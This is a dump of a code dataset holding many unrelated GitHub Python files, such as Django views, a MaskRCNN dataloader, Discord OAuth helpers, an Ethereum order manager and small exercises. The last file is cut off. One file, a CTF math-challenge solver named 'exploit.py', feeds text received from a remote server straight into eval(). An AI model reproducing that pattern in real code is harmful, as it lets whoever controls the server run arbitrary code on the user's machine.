random.randint(0, count)\n viewcounts.append(count)\n past_views.append([ViewCount(video_id=video_id,\n count_datetime=(\n end_time - timedelta(days=day+1)),\n views=count)\n for day, count\n in enumerate(viewcounts)])\n ViewCount.objects.bulk_create(itertools.chain(*past_views))\n\n\ndef populate_tables():\n populate_category_table()\n populate_user_table()\n populate_video_table()\n populate_user_relationships()\n populate_comment_table()\n populate_user_votes_comments()\n populate_user_votes_videos()\n populate_video_viewcounts()\n","repo_name":"CameronCairns/tastemakers","sub_path":"scripts/populate_table_data.py","file_name":"populate_table_data.py","file_ext":"py","file_size_in_byte":8782,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"10341383239","text":"from .libs import *\n\nclass HairDataset(torch.utils.data.Dataset):\n def __init__(self, path_dataset=\"dataset/Figaro_1k_png\", transforms=None, mode='train', max_size=512):\n self.path_dataset = path_dataset\n self.transforms = transforms\n self.mode = mode\n self.max_size = max_size\n\n self.DATA_PATH = os.path.join(os.getcwd(), self.path_dataset)\n self.train_path, self.val_path, self.test_path = [os.path.join(self.DATA_PATH, x) for x in\n ['train', 'val', 'test']]\n\n if self.mode == 'train':\n self.data_files = self.get_files(self.train_path)\n self.label_files = [self.get_label_file(f, 'images', 'masks') for f in self.data_files]\n elif self.mode == 'val':\n self.data_files = self.get_files(self.val_path)\n self.label_files = [self.get_label_file(f, 'images', 'masks') for f in self.data_files]\n elif self.mode == 'test':\n self.data_files = self.get_files(self.test_path)\n self.label_files = [self.get_label_file(f, 'images', 'masks') for f in self.data_files]\n else:\n raise RuntimeError(\"Unexpected dataset mode. \"\n \"Supported modes are: train, val and test\")\n\n def get_files(self, data_folder):\n return glob(\"{}/*.{}\".format(os.path.join(data_folder, 'images'), 'jpg'))\n\n def get_label_file(self, data_path, data_dir, label_dir):\n data_path = data_path.replace(data_dir, label_dir)\n fname, _ = data_path.split('.')\n return \"{}.{}\".format(fname, 'png')\n\n def resize(self, data, label):\n w, h = data.size\n max = h if h >= w else w\n new_size = (int(self.max_size * w / h), self.max_size) if max == h else (self.max_size, int(self.max_size * h / w))\n data = data.resize(new_size, Image.ANTIALIAS)\n label = label.resize(new_size, Image.ANTIALIAS)\n return data, label\n\n def image_loader(self, data_path, label_path):\n data = Image.open(data_path).convert('RGB')\n label = Image.open(label_path).convert('L')\n return self.resize(data, label)\n \n def __getitem__(self, index):\n data_path, label_path = self.data_files[index], self.label_files[index]\n img, label = self.image_loader(data_path, label_path)\n\n labels = [1]\n\n # get bounding box coordinates for each mask\n boxes = []\n ymin = min(np.where(np.array(label) == 255)[0])\n ymax = max(np.where(np.array(label) == 255)[0])\n\n xmin = min(np.where(np.array(label) == 255)[1])\n xmax = max(np.where(np.array(label) == 255)[1])\n\n boxes.append([xmin, ymin, xmax, ymax])\n\n boxes = torch.as_tensor(boxes, dtype=torch.float32)\n masks = torch.as_tensor(np.array(label), dtype=torch.uint8)\n masks = torch.unsqueeze(masks, 2).permute(2, 0, 1) / 255.0\n masks = torch.as_tensor(masks, dtype=torch.uint8)\n labels = torch.as_tensor(labels, dtype=torch.int64)\n image_id = torch.tensor([index])\n area = (boxes[:, 3] - boxes[:, 1]) * (boxes[:, 2] - boxes[:, 0])\n\n target = {}\n target[\"boxes\"] = boxes\n target[\"labels\"] = labels\n target[\"masks\"] = masks\n target[\"image_id\"] = image_id\n target[\"area\"] = area\n\n if self.transforms is not None:\n img, target = self.transforms(img, target)\n return img, target\n\n def __len__(self):\n # return int(len([name for name in os.listdir(os.path.join(self.DATA_PATH, self.mode, 'images')) if name.endswith('jpg')]) / 20)\n return len([name for name in os.listdir(os.path.join(self.DATA_PATH, self.mode, 'images')) if name.endswith('jpg')])\n","repo_name":"KudoKhang/MaskRCNN","sub_path":"networks/dataloader.py","file_name":"dataloader.py","file_ext":"py","file_size_in_byte":3746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"3683251258","text":"# Напишите программу, которая будет преобразовывать десятичное число в двоичное.\n\n# Пример:\n# - 45 -> 101101\n# - 3 -> 11\n# - 2 -> 10\n\n\na = int(input('Введите число: '))\nsome_str = ''\nif a < 0 or a == 0:\n a = int(input('Введите положительное число отличное от 0: '))\nwhile a > 0:\n some_str = str(a%2) + some_str\n a //=2\nprint(some_str)","repo_name":"NikKysa/Python_Homework_-3","sub_path":"task4.py","file_name":"task4.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"6804872516","text":"WHITE, BLACK = ' ', '#'\r\n\r\n\r\ndef create_chessboard(size=8):\r\n \"\"\"Create a chessboard with of the size passed in.\r\n Don't return anything, print the output to stdout\"\"\"\r\n odd_row = (WHITE + BLACK)*(size // 2)\r\n even_row = (BLACK + WHITE)*(size // 2)\r\n if size%2:\r\n odd_row+=WHITE\r\n even_row+=BLACK\r\n odd_row+=\"\\n\"\r\n even_row+=\"\\n\"\r\n board = (odd_row + even_row)*(size // 2)\r\n if size%2:\r\n board+=odd_row\r\n print(board)\r\n\r\ncreate_chessboard(8)","repo_name":"mhered/pybites","sub_path":"archive/176/save1_passed.py","file_name":"save1_passed.py","file_ext":"py","file_size_in_byte":496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"30969656308","text":"from django.shortcuts import render\nfrom django.shortcuts import render, redirect\nfrom .forms import OrderForm\nfrom .models import Order\n# Create your views here.\n\n\n\ndef create_order(request):\n if request.method == 'POST':\n form = OrderForm(request.POST)\n if form.is_valid():\n form.save()\n return redirect('order_list')\n else:\n form = OrderForm()\n return render(request, 'orders/create_order.html', {'form': form})\n\n\n\ndef order_list(request):\n orders = Order.objects.all()\n return render(request, 'orders/order_list.html', {'orders': orders})\n\n\ndef edit_order(request, id):\n order = Order.objects.get(id=id)\n if request.method == \"POST\":\n form = OrderForm(request.POST, instance=order)\n if form.is_valid():\n form.save()\n return redirect('order_detail_view', id=id)\n else:\n form = OrderForm(instance=order)\n return render(request, \"orders/edit_order.html\", {\"form\": form})\n\n\n\ndef order_details(request, id):\n order = Order.objects.get(id=id)\n return render(request, \"orders/order_detail.html\",{\"order\": order})","repo_name":"njorogewambuielizabeth/Python-Django","sub_path":"orders/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1124,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"41855943740","text":"from flask import session, abort\nfrom flask import current_app as app\nfrom requests_oauthlib import OAuth2Session\nimport requests\n\nDISCORD_API_URL \t\t= 'https://discordapp.com/api'\nDISCORD_AUTH_BASE_URL = DISCORD_API_URL + '/oauth2/authorize'\nDISCORD_TOKEN_URL = DISCORD_API_URL + '/oauth2/token'\n\ndef token_updater(token):\n\tsession['auth_token'] = token\n\ndef make_session(token=None, state=None):\n\tclient_id = app.config['DISCORD_CLIENT_ID']\n\tsecret = app.config['DISCORD_SECRET_KEY']\n\treturn OAuth2Session(\n\t\tclient_id=client_id,\n\t\ttoken=token,\n\t\tstate=state,\n\t\tscope=['identify', 'connections'],\n\t\ttoken_updater=token_updater,\n\t\tauto_refresh_url=DISCORD_TOKEN_URL,\n\t\tauto_refresh_kwargs={\n\t\t\t'client_id': client_id,\n\t\t\t'client_secret': secret\n\t\t},\n\t\tredirect_uri=app.config['REDIRECT_URI'])\n\ndef get_twitch_name():\n\ttoken = session.get('auth_token')\n\tif token is None:\n\t\treturn None\n\t\n\twith make_session(token=token) as discord:\n\t\tendpoint = DISCORD_API_URL + '/users/@me/connections'\n\t\t#headers = {'Authorization': 'Bearer %s' % token }\n\t\tresp = discord.get(endpoint)\n\t\tif resp.status_code != 200:\n\t\t\tsession.pop('auth_token')\n\t\t\treturn None\n\n\t\tdata = resp.json()\n\t\tfor entry in data:\n\t\t\tif entry['type'] == 'twitch':\n\t\t\t\treturn entry['name']\n\t\treturn '__not_linked!'\n\ndef get_user():\n\ttoken = session.get('auth_token')\n\tif token is None:\n\t\tabort(401, 'null token in get_user')\n\n\twith make_session(token=token) as discord:\n\t\tendpoint = DISCORD_API_URL + '/users/@me'\n\t\tuser = discord.get(endpoint)\n\t\tif user.status_code == 401:\n\t\t\tsession.pop('auth_token')\n\t\t\tabort(401, 'discord rejected bearer token')\n\n\t\tdata = user.json()\n\t\treturn data['id']\n\ndef add_role():\n\tuser_id = get_user()\n\tif user_id is None:\n\t\tabort(400, 'unable to get a user id')\n\n\tendpoint = DISCORD_API_URL + '/guilds/{guild}/members/{user}/roles/{role}'.format(\n\t\tguild = app.config['GUILD'],\n\t\tuser = user_id,\n\t\trole = app.config['ROLE'])\n\n\ttoken = app.config['DISCORD_BOT_TOKEN']\n\theaders = {'Authorization': 'Bot %s' % token}\n\n\tresp = requests.put(endpoint, headers=headers)\n\tif resp.status_code != 204:\n\t\tabort(400, 'got a {code} adding role'.format(code=resp.status_code))\n\telse:\n\t\treturn True","repo_name":"foxbot/followerbridge","sub_path":"website/discord.py","file_name":"discord.py","file_ext":"py","file_size_in_byte":2178,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"15155657495","text":"# -*- coding: utf-8 -*-\nimport datetime\nfrom typing import List\n\nfrom sqlalchemy.orm import Session\n\nfrom api_service.api_service_producer import ApiServiceProducer\nfrom api_service.apps.crypto.models import Wallet\nfrom api_service.apps.crypto.schemas import TransactionCreate\nfrom api_service.apps.crypto.web3_clients import EthereumProviderClient\nfrom api_service.apps.product.database import ProductDatabase\nfrom api_service.apps.product.exceptions import (\n InvalidBalanceException,\n InvalidPriceException,\n InvalidProductException,\n InvalidWalletException,\n)\nfrom api_service.apps.product.models import Order, Product\nfrom api_service.apps.product.schemas import OrderCreate, ProductCreate\nfrom api_service.apps.users.models import User\nfrom api_service.config.storage import SqlAlchemyStorage\n\n\nclass ProductManager:\n def __init__(\n self,\n database: ProductDatabase,\n ethereum_provider: EthereumProviderClient,\n storage: SqlAlchemyStorage,\n api_service_producer: ApiServiceProducer,\n ):\n self.product_db = database\n self.ethereum_provider = ethereum_provider\n self.storage = storage\n self.api_service_producer = api_service_producer\n\n async def create_new_product(self, db: Session, product_create: ProductCreate) -> Product:\n if product_create.price <= 0:\n raise InvalidPriceException()\n product_create.image = await self.storage.upload(\n file=product_create.image,\n upload_to=\"ibay\",\n sizes=(150, 150),\n content_types=[\"png\", \"jpg\", \"jpeg\"],\n )\n product = await self.product_db.create_product(db, product_create)\n if not product:\n raise InvalidWalletException()\n message = {\n \"id\": str(product.id),\n \"image\": product.image,\n \"title\": product.title,\n \"price\": product.price,\n \"wallet\": {\n \"address\": product.wallet.address,\n },\n }\n await self.api_service_producer.publish_message(\n exchange_name=\"new_product_exchange\",\n message=message,\n )\n return product\n\n async def get_all_products(self, db: Session) -> List[Product]:\n return await self.product_db.get_products(db)\n\n async def create_new_order(self, db: Session, order_create: OrderCreate, user: User) -> Order:\n product = await self.product_db.get_product(db, order_create.product_id)\n if not product or product.is_sold:\n raise InvalidProductException()\n try:\n wallet = [wallet for wallet in user.wallets if wallet.id == order_create.wallet_id][0]\n if wallet.balance < product.price:\n raise InvalidBalanceException()\n except IndexError:\n raise InvalidWalletException()\n\n await self.product_db.update_wallet_balance(db, wallet, product.price)\n transaction_create = TransactionCreate(\n address_from=wallet.address,\n address_to=product.wallet.address,\n value=product.price,\n )\n txn_hash = await self.ethereum_provider.send_raw_transaction(transaction_create, wallet)\n\n await self.product_db.update_is_sold_product_status(db, product.id)\n order = await self.product_db.create_order(db, txn_hash, str(product.id), wallet.address)\n message = {\n \"id\": str(order.id),\n \"product\": {\n \"id\": str(order.product.id),\n \"image\": order.product.image,\n \"title\": order.product.title,\n \"price\": order.product.price,\n },\n \"txnHash\": order.txn_hash,\n \"date\": datetime.datetime.strptime(str(order.date), \"%d.%m.%Y %H:%M\").strftime(\"%d.%m.%Y %H:%M\"),\n \"status\": \"NEW\",\n \"buyerAddress\": order.buyer_address,\n \"txnHashReturn\": None,\n }\n await self.api_service_producer.publish_message(\n exchange_name=\"new_order_exchange\",\n message=message,\n )\n return order\n\n async def get_users_orders(self, db: Session, wallets: List[Wallet]) -> List[Order]:\n addresses = [wallet.address for wallet in wallets]\n return await self.product_db.get_orders(db, addresses)\n\n async def update_order_by_id(self, db: Session, order: dict) -> Order:\n return await self.product_db.update_order_by_id(db, order)\n\n async def handle_order_failed(self, db: Session, order: dict):\n updated_order = await self.update_order_by_id(db, order)\n order_txn = await self.product_db.get_transaction(db, updated_order.txn_hash)\n updated_value = order_txn.value - (order_txn.txn_fee * 1.5)\n\n transaction_create = TransactionCreate(\n address_from=updated_order.product.wallet.address,\n address_to=updated_order.buyer_address,\n value=updated_value,\n )\n txn_hash = await self.ethereum_provider.send_raw_transaction(transaction_create, updated_order.product.wallet)\n await self.product_db.update_wallet_balance(db, updated_order.product.wallet, updated_value)\n\n updated_order.status = \"RETURN\"\n updated_order.txn_hash_return = txn_hash\n await self.product_db.update_order(db, updated_order)\n\n order_return_message = {\n \"order\": str(updated_order.id),\n \"status\": \"RETURN\",\n \"txnHashReturn\": txn_hash,\n }\n await self.api_service_producer.publish_message(\n exchange_name=\"order_return_exchange\",\n message=order_return_message,\n )\n\n txn_return_message = {\n \"address_from\": updated_order.product.wallet.address,\n \"value\": updated_value,\n \"txn_hash\": txn_hash,\n }\n await self.api_service_producer.publish_message(\n exchange_name=\"txn_return_exchange\",\n message=txn_return_message,\n )\n","repo_name":"Rey092/CrytpoWalletTest","sub_path":"api_service/apps/product/manager.py","file_name":"manager.py","file_ext":"py","file_size_in_byte":5973,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"72301450692","text":"from mystery_rewrite.cell import Cell\nfrom mystery_rewrite.direction import Direction\n\nfrom mystery_rewrite._utils import List\n\nclass World(object):\n def __init__(self, rows, cols):\n self.rows = rows\n self.cols = cols\n\n self.cells = List(\n [ [ Cell() for _ in range(self.cols) ] for _ in range(self.rows) ])\n\n # In order to avoid costly world search, we use a dict with the locations.\n # Maps object to location.\n # Location could be the agent as well.\n self.targets = dict()\n self.objects = dict()\n\n def __getitem__(self, idx):\n if isinstance(idx, tuple) and len(idx) == 1:\n idx = (idx[0] // self.cols, idx[0] % self.cols)\n return self.cells[idx]\n\n def __repr__(self):\n s = f'World end_col:\n start_col, end_col = end_col, start_col\n end_col = min(end_col, self.cols)\n\n for col in range(start_col, end_col + 1):\n self.cells[row, col].set_wall(loc)\n\n def add_vwall(self, start_row, end_row, col, loc='both'):\n assert loc in ['both', Direction.E, Direction.W]\n if loc == 'both':\n self.add_vwall(start_row, end_row, col, loc=Direction.W)\n self.add_vwall(start_row, end_row, col, loc=Direction.E)\n return\n\n if col < 0:\n col = self.cols + col\n if start_row < 0:\n start_row = self.rows + start_row\n if end_row < 0:\n end_row = self.rows + end_row\n if start_row > end_row:\n start_row, end_row = end_row, start_row\n end_row = min(end_row, self.rows)\n\n for row in range(start_row, end_row + 1):\n self.cells[row, col].set_wall(loc)\n\n def add_enclosure(self):\n self.add_hwall(0, 0, -1, loc=Direction.N)\n self.add_hwall(-1, 0, -1, loc=Direction.S)\n self.add_vwall(0, -1, 0, loc=Direction.E)\n self.add_vwall(0, -1, -1, loc=Direction.W)\n\n #################\n # Movable objects\n def add_target(self, row, col, *target):\n \"\"\"Adds a target to the cell and to the targets dict\"\"\"\n self.cells[row, col].add_target(*target)\n for t in target:\n self.targets[t] = (row, col)\n\n def has_target(self, row, col, tgt):\n return tgt in self.cells[row, col].targets\n\n def remove_target(self, target):\n \"\"\"Removes the target from the targets dicts and from the cell\"\"\"\n row, col = self.targets.pop(target)\n self.cells[row, col].remove_target(target)\n\n def pop_targets(self, row, col):\n \"\"\"Takes all the targets from the cells\"\"\"\n tgts = list(self.cells[row, col].targets)\n self.cells[row, col].clear_objects()\n return tgts\n\n ###################\n # Immovable objects\n def add_object(self, row, col, *obj):\n \"\"\"Adds an object to a cell\"\"\"\n self.cells[row, col].add_object(*obj)\n for o in obj:\n self.objects[o] = (row, col)\n","repo_name":"z-a-f/Mystery-Game","sub_path":"mystery_rewrite/world.py","file_name":"world.py","file_ext":"py","file_size_in_byte":3322,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"25554651255","text":"#This script aggregates the scores outputted by expriments.py\n\nimport os\nimport numpy as np\nimport sys\n\nROCAUCfolder = \"ROCAUCs/\" #Unavoids AUC scores\nCOMPfolder = \"Comps/\" #Comparison algorithm AUC scores\n\ntransformation = \"none\" #indicates wether to aggregate transformation scores or not\n\ncomps = [\"LOF1: \",\"LOF2: \",\"FastABOD:\",\"Iso_For:\"]\nmethods = [\"r=0.01: \\t\", \"r=0.02: \\t\", \"r=0.04: \\t\", \"r=0.08: \\t\", \"r avg: \\t\", \"all avg:\\t\", \"hist: \\t\", \"hist 2 :\\t\"]\nps = [\"0.0078125\",\"0.015625\", \"0.03125\", \"0.0625\",\"0.125\",\"0.25\",\"0.5\", \"1\", \"2\",\"4\",\"np.inf\",\"max\"]\nPis = [\"0.001\", \"0.002\", \"0.004\", \"0.008\", \"0.016\", \"0.032\", \"0.064\", \"0.128\",\"0.256\",\"full\"]\n\nsubdirs = sorted(os.listdir(ROCAUCfolder), key=lambda elem: int(elem)) #list subdirs in order of window size\n\nfpe = open(\"ErrorAggregate.txt\",\"w+\") #output errors\nfpo = open(\"AUCs_\"+transformation+\".txt\", \"w+\")\nfor sub_n, subfolder in enumerate(subdirs): #for each Window size\n\n K = np.zeros((6,)) #keep track of number of files processed for each pi\n AUCs = np.zeros((6,12,8,1)) #pi axis, norm axis, method axis, score axis\n COMPs = np.zeros((6,4,1)) #pi axis, method axis, score axis\n\n progress=0\n\n for UNAVOIDSresult in os.listdir(ROCAUCfolder+subfolder): #for each results file\n\n Pi_ind = int(UNAVOIDSresult.split(\"_\")[1]) #get pi param index\n\n if (Pi_ind > 5): #do not use pi larger then 0.32\n continue\n\n if UNAVOIDSresult.split(\"_\")[2] != transformation: #use file if it matches transformation setting, otherwise skip\n continue\n\n fpU = open(ROCAUCfolder+subfolder+\"/\"+UNAVOIDSresult, \"r\") #open file \n unavoids_rows = fpU.read().split(\"\\n\") #read rows as list of rows\n fpU.close()\n\n #check file integrity\n if len(unavoids_rows) != 122:\n fpe.write(\"Error: \"+ROCAUCfolder+subfolder+\"/\"+UNAVOIDSresult+\":\\tincorrect number of rows in UNAVOIDS scores\\n\")\n continue\n cont = False\n for row_n, row in enumerate(unavoids_rows):\n if row_n in [0,9,10,19,20,29,30,39,40,49,50,59,60,69,70,79,80,89,90,99,100,109,110,119,120,121]:\n continue\n if len(row.split(\",\")) != 2:\n cont = True\n if cont == True:\n fpe.write(\"Error: \"+ROCAUCfolder+subfolder+\"/\"+UNAVOIDSresult+\":\\tincorrect number of columns in UNAVOIDS scores\\n\")\n continue\n \n #Get LOF, ABOD, and Isolation Forest scores for corresponding pi and window size\n COMPresult = UNAVOIDSresult.split(\"_R\")[0] + \"_COMPs\" #get comp results file name\n try:\n fpC = open(COMPfolder+subfolder+\"/\"+COMPresult, \"r\") #open LOF file\n except:\n fpe.write(\"Error: \"+COMPfolder+subfolder+\"/\"+COMPresult+\":\\tfile not found\"+\"\\n\")\n continue\n comps_rows = fpC.read().split(\"\\n\") #read rows as list of rows\n fpC.close()\n\n #check file integrity\n if len(comps_rows) != 5:\n fpe.write(\"Error:\"+ROCAUCfolder+subfolder+\"/\"+COMPresult+\":\\tincorrect number of rows in comparison scores\\n\")\n print(\"not 5 rows\")\n continue\n cont = False\n for n_row, row in enumerate(comps_rows[:-1]):\n if len(row.split(\": \")) != 2:\n cont = True\n if cont == True:\n fpe.write(\"Error:\"+ROCAUCfolder+subfolder+\"/\"+COMPresult+\":\\tincorrect number of columns in comparison scores\\n\")\n continue\n\n K[Pi_ind]+=1 #increment counter for current value of pi\n\n curCOMPs = np.zeros((4,1)) #method axis, score axis\n curAUCs = np.zeros((12,8,1)) #norm axis, method axis, score axis\n\n #extract comparison scores\n for n, row in enumerate(comps_rows[:-1]):\n curCOMPs[n] = [np.float(i) for i in row.split(\":\")[1:]]\n\n\n #get UNAVOIDS scores\n for I in range(len(ps)):\n for n, row in enumerate(unavoids_rows[(I*10)+1:(I*10)+9]):\n for m, col, in enumerate(row.split(\",\")[1:]):\n curAUCs[I, n, m] = float(col)\n\n AUCs[Pi_ind] += curAUCs #aggregate scores for current pi for UNAVOIDS\n COMPs[Pi_ind] += curCOMPs #aggregate scores for current pi for LOFS\n\n progress+=1\n if progress % 50 == 0:\n print(\"-\",progress)\n\n\n #output results to text file\n for Pi_n, Pi_str in enumerate(Pis) :\n \n fpo.write(\"\\n\\n____________________________________________________________\\n\")\n fpo.write(\"\\n############################################################\\n\")\n fpo.write(\"\\tPi = \"+Pi_str)\n\n fpo.write(\"\\n\\n____________________________________________________________\\n\")\n fpo.write(subfolder+\"\\n\")\n\n #write comparison average AUCs\n for n, row in enumerate(COMPs[Pi_n]/K[Pi_n]): #average over number of files found for each pi\n fpo.write(comps[n]+\"\\t\")\n for col in row:\n fpo.write(str(col).ljust(20, ' ')+\" \")\n fpo.write(\"\\n\")\n fpo.write(\"\\n\")\n\n #write UNVAOIDS average AUCs\n fpo.write(\"UNAVOIDS\\n\")\n for n, page in enumerate(AUCs[Pi_n]):\n fpo.write(\"p = \"+ps[n]+\"\\n\")\n for m, row in enumerate(page/K[Pi_n]): #average over number of files found for each pi\n fpo.write(methods[m])\n for col in row:\n fpo.write(str(col).ljust(20, ' ')+\" \")\n fpo.write(\"\\n\")\n fpo.write(\"\\n\")\n fpo.write(\"\\n\")\n\nfpo.close()\nfpe.close()\n","repo_name":"isotlaboratory/UNAVOIDS-Code","sub_path":"Code/aggregate.py","file_name":"aggregate.py","file_ext":"py","file_size_in_byte":5520,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"44"} +{"seq_id":"30050047524","text":"# Магическим квадратом порядка n называется квадратная таблица размера n×n, так, что суммы по каждому столбцу, каждой\n# строке и каждой из двух диагоналей равны между собой. Программа проверяет, является ли заданная квадратная матрица\n# магическим квадратом.\n\ndef magic_square_check(matrix, summa): # Функция проверки является ли матрица магически квадратом\n global flag\n diagonal = 0\n for i in range(n):\n if sum(matrix[i]) != summa: # Проверка равна ли каждая строка параметру summa\n flag = 'NO'\n break\n for j in range(n):\n if i == j:\n diagonal += matrix[j][i]\n if diagonal != summa: # Проверка равна ли главная диагональ параметру summa\n flag = 'NO'\n return flag\n\n\nn = int(input()) # Размерность матрицы\nmatrix = [[int(i) for i in input().split()] for _ in range(n)] # Ввод матрицы\ncheck_sequences = [i for i in range(1, n * n + 1)] # Список для проверки элементов матрицы на соответстие 1,2,3...n^2\nrotate_matrix = [] # Заготовка перевернутой матрицы\nsumma = sum(matrix[0]) # Сумма элементов первой строки матрицы\nflag = 'YES' # Признак наличия магического квадрата\n\nfor i in range(n): # Перевертывание матрицы на 90 градусов и проверка элементов на соответстие 1,2,3...n^2\n row = []\n for j in range(n):\n row.append(matrix[j][i])\n if matrix[i][j] in check_sequences:\n check_sequences.remove(matrix[i][j])\n else:\n flag = 'NO'\n break\n if flag == 'NO':\n break\n rotate_matrix.append(row[::-1])\n\nif flag == 'YES':\n magic_square_check(matrix, summa) # Вызов функции проверки является ли матрица магическим квадратом\n magic_square_check(rotate_matrix, summa) # Вызов функции проверки является ли перевернутая матрица маг. квадратом\n\nprint(flag) # Вывод флага является ли матрица магическим квадратом YES или NO\n","repo_name":"AlexVHub/Python_Learning","sub_path":"Матрицы/Магический квадрат.py","file_name":"Магический квадрат.py","file_ext":"py","file_size_in_byte":2616,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"32392437573","text":"#!/usr/bin/python3\n# netcat_lib is the server file from https://gist.github.com/leonjza/f35a7252babdf77c8421\nfrom netcat_lib import Netcat as NetCat\n\n\nnc = NetCat(input(\"IP: \"), int(input(\"Port: \")))\nnc.read_until(b'Try ')\n\nfor i in range(100):\n print(nc.read_until(b'Try '))\n request = nc.read_until(b'\\n')\n request = request.decode('utf-8')\n response = eval(request)\n response = str(response).encode('utf-8')\n nc.write(response)\n\nprint(nc.read().decode('utf-8'))\n","repo_name":"Poison-Berries/junior-course-tasks","sub_path":"ppc/2021-NetCat_maths/exploit.py","file_name":"exploit.py","file_ext":"py","file_size_in_byte":483,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"36763362163","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # Problem\n# \n# Write a program to find the node at which the intersection of two singly linked lists begins.\n# \n# Notes:\n# \n# If the two linked lists have no intersection at all, return null.
\n# The linked lists must retain their original structure after the function returns.
\n# You may assume there are no cycles anywhere in the entire linked structure.
\n# Your code should preferably run in O(n) time and use only O(1) memory.\n\n# # Brainstorm\n# \n# The challenge is that the number of nodes before intersection for the two lists might be different. So we can't iterate the two lists together from the beginning.\n\n# # Solution 1\n\n# In[ ]:\n\n\n# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution:\n def getIntersectionNode(self, headA, headB):\n if not headA or not headB:\n return None\n \n A_length = self.get_length(headA)\n B_length = self.get_length(headB)\n \n currA = headA\n currB = headB\n \n if A_length > B_length:\n diff = A_length - B_length\n # Iterate A until diff is 0\n while diff > 0:\n currA = currA.next\n diff -= 1\n\n elif B_length > A_length:\n diff = B_length - A_length\n while diff > 0:\n currB = currB.next\n diff -= 1\n \n # Iterate both list\n while currA and currB:\n if currA == currB:\n return currA\n currA = currA.next\n currB = currB.next\n \n return None\n \n def get_length(self, head):\n curr = head\n length = 0\n while curr:\n length += 1\n curr = curr.next\n return length \n\n","repo_name":"shanminlin/Leetcode","sub_path":"linked_list/one_way/160. Intersection of Two Linked Lists.py","file_name":"160. Intersection of Two Linked Lists.py","file_ext":"py","file_size_in_byte":1861,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"72262883974","text":"#!/usr/bin/env python\n\n'''\ngiven a SORTED file containing uniqued lines (see preprocess_radtag_lane.py) with cluster and node label prepended\ncomputes multiple alignments across all cluster sequences and outputs SAM formatted alignments taking the most prevalent longest sequence as reference.\n'''\n\nimport os, sys, re\n\nimport musclemap\n\nfrom collections import defaultdict\nfrom config import RTDROOT\n\ndef next_cluster_lines(fh):\n this_cl = None\n cl_lines = []\n for l in fh:\n if l.split()[0] != this_cl:\n if this_cl is not None:\n return cl_lines\n else:\n this_cl = l.split()[0]\n cl_lines.append(l)\n else:\n cl_lines.append(l)\n\n\n\ndef samline_from_alnpair(rname,raln,qname,qaln,qqual):\n if set(qqual) == set(['#']):\n return None\n \n leader,qseq = re.search('^(-*)(.*?)$',qaln).groups()\n\n pos = len(leader)+1\n\n cigar = []\n nm = 0\n md = []\n qi = 0\n for r,q in zip(raln[len(leader):].upper(),qseq.rstrip('-').upper()):\n if q != '-':\n qq = qqual[qi]\n qi += 1\n else:\n qq = None\n if qq == '#' or q == 'N' or r =='N':\n cigar.append('S')\n elif r in ['A','C','G','T'] and q in ['A','C','G','T']:\n cigar.append('M')\n if r != q:\n nm += 1\n md.append(r)\n else:\n md.append(1)\n elif r == '-' and q == '-':\n cigar.append('P')\n elif r == '-':\n cigar.append('I')\n nm += 1\n elif q == '-':\n cigar.append('D')\n nm += 1\n md.append('^'+r)\n\n #print ''.join(cigar)\n\n if 'S' in ''.join(cigar).strip('S'):\n return None\n\n #figure out cigar\n ccnt = 1\n cli = []\n cstate = None\n for c in cigar:\n if cstate == c:\n ccnt += 1\n else:\n if cstate is not None:\n cli.append('%d%s' % (ccnt,cstate))\n cstate = c\n ccnt = 1\n\n \n\n cli.append('%d%s' % (ccnt,cstate))\n cstr = ''.join(cli)\n\n\n #figure out md\n mdli = []\n mddel = []\n mdcnt = 0\n for c in md+['A']:\n if isinstance(c,int):\n mdcnt += c\n if len(mddel) > 0:\n mdli.append('^'+(''.join(mddel)))\n mddel = []\n else:\n if mdcnt:\n mdli.append(str(mdcnt))\n mdcnt = 0\n if c.startswith('^'):\n mddel.append(c[1:])\n else:\n if len(mddel) > 0:\n mdli.append('^'+(''.join(mddel)))\n mddel = []\n mdli.append(c)\n \n\n mdstr = ''.join(mdli[:-1])\n if mdstr == '':\n mdstr = '0'\n\n return '\\t'.join([qname,'0',rname,str(pos),'30',cstr,'*','0','0',qaln.replace('-',''), qqual, 'NM:i:%s\\tMD:Z:%s' % (nm,mdstr)])\n\n\n\ndef ref_seq_from_clust(clname,cl_aln):\n \n ref_seq = cl_aln[0][1].replace('-','')\n fa_str = '>%s\\n%s\\n' % (clname,ref_seq)\n\n return fa_str\n\ndef indiv_in_clust(cl_lines,rep_cut = 0):\n\n if isinstance(cl_lines[0],str):\n cl_lines = [l.strip().split() for l in cl_lines]\n \n ind_cts = defaultdict(int)\n for l in cl_lines:\n for ind,ct in zip( l[5].split(','), [int(i) for i in l[6].split(',')] ):\n if ct >= rep_cut:\n ind_cts[ind] += ct\n\n return ind_cts\n \n\ndef aln_from_clust(clname,cl_lines,keep_seqs=None,seq_len=0,break_on_error=True):\n\n if isinstance(cl_lines[0],str):\n cl_lines = [l.strip().split() for l in cl_lines]\n\n \n if keep_seqs is not None and len(cl_lines) > keep_seqs:\n orig_ind_ct = indiv_in_clust(cl_lines)\n orig_ind = len(indiv_in_clust(cl_lines))\n orig_len = len(cl_lines)\n cl_lines.sort(key = lambda l: 